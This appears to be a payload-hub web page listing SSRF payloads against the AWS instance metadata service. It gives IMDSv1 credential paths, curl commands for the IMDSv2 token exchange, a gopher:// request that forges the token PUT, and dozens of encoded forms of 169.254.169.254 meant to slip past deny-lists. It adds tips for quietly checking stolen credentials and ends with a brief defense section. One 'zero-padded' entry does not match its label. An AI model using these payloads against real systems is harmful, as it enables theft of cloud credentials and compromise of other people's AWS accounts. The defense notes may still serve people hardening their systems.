Skip to content

AWS Metadata SSRF Payloads

SSRF payloads for the AWS instance metadata service (IMDS) at 169.254.169.254: IMDSv1 credential paths, the IMDSv2 token dance, and encoded IP forms that bypass deny-list filters.

26 payloads

The AWS metadata service at 169.254.169.254 hands out the temporary credentials of the IAM role attached to the instance. IMDSv1 is a single unauthenticated GET; IMDSv2 needs a PUT for a token plus a header on every read.

Use these when a server-side fetch runs on EC2 (or ECS/EKS nodes). If the feature only does a plain GET with fixed headers, IMDSv2 blocks you unless you can smuggle the request with gopher://.

Run aws sts get-caller-identity first with any stolen creds — it confirms they work and reveals the role ARN without tripping noisy enumeration.

IMDSv1 — unauthenticated GET

  • http://169.254.169.254/latest/meta-data/

    IMDSv1 — metadata tree root (unauthenticated GET)

  • http://169.254.169.254/latest/meta-data/iam/security-credentials/

    Lists the attached IAM role name

  • http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

    Temporary AccessKeyId / SecretAccessKey / Token for the role

  • http://169.254.169.254/latest/user-data

    User-data / bootstrap script — frequently holds secrets

  • http://169.254.169.254/latest/dynamic/instance-identity/document

    Account ID, region, instance type

  • http://169.254.169.254/latest/meta-data/iam/info

    IAM instance-profile ARN

IMDSv2 — token dance

Needs method + header control, or a gopher:// write.

  • curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

    Step 1 — PUT for a session token (needs method + header control)

  • curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

    Step 2 — read with the token header

  • gopher://169.254.169.254:80/_PUT%20/latest/api/token%20HTTP/1.1%0D%0AHost:%20169.254.169.254%0D%0AX-aws-ec2-metadata-token-ttl-seconds:%2021600%0D%0A%0D%0A

    Gopher writes the raw PUT — defeats GET-only SSRF against IMDSv2

Encoded 169.254.169.254

Same address, many textual forms — defeats deny-lists that only match the dotted quad.

  • 169.254.169.254

    Canonical dotted-decimal (baseline)

  • 2852039166

    Dotless decimal (32-bit integer)

  • 0xa9fea9fe

    Dotless hexadecimal

  • 025177524776

    Dotless octal

  • 0xa9.0xfe.0xa9.0xfe

    Per-octet hexadecimal

  • 0251.0376.0251.0376

    Per-octet octal (leading-zero = octal in inet_aton)

  • 0xa9.254.169.254

    Mixed hex + decimal

  • 169.0xfe.0xa9.254

    Mixed decimal + hex

  • 169.254.43518

    3-part shorthand (last part = 16-bit)

  • 169.16689662

    2-part shorthand (last part = 24-bit)

  • 169.254.169.254

    Zero-padded octets (ambiguous octal/decimal across parsers)

  • 7147006462

    Decimal + 2^32 (mod-2^32 overflow bypass)

IPv6-mapped forms

  • [::ffff:169.254.169.254]

    IPv4-mapped IPv6

  • [::ffff:a9fe:a9fe]

    IPv4-mapped IPv6 (hex words)

  • [::169.254.169.254]

    IPv4-compatible IPv6 (deprecated, still parsed)

  • [0:0:0:0:0:ffff:169.254.169.254]

    Fully-expanded IPv4-mapped IPv6

  • [::ffff:a9fe:a9fe]:80

    IPv4-mapped IPv6 with explicit port

Defense

  • Set http-tokens: required so IMDSv1 is disabled, not merely available.
  • Set the metadata response hop limit to 1 to stop proxied/relayed token requests.
  • Least-privilege the instance role; an s3:GetObject-on-one-bucket role is a contained incident, *:* is a breach.
  • Alert on instance credentials used from any IP that isn't the instance's.

All SSRF payload hubs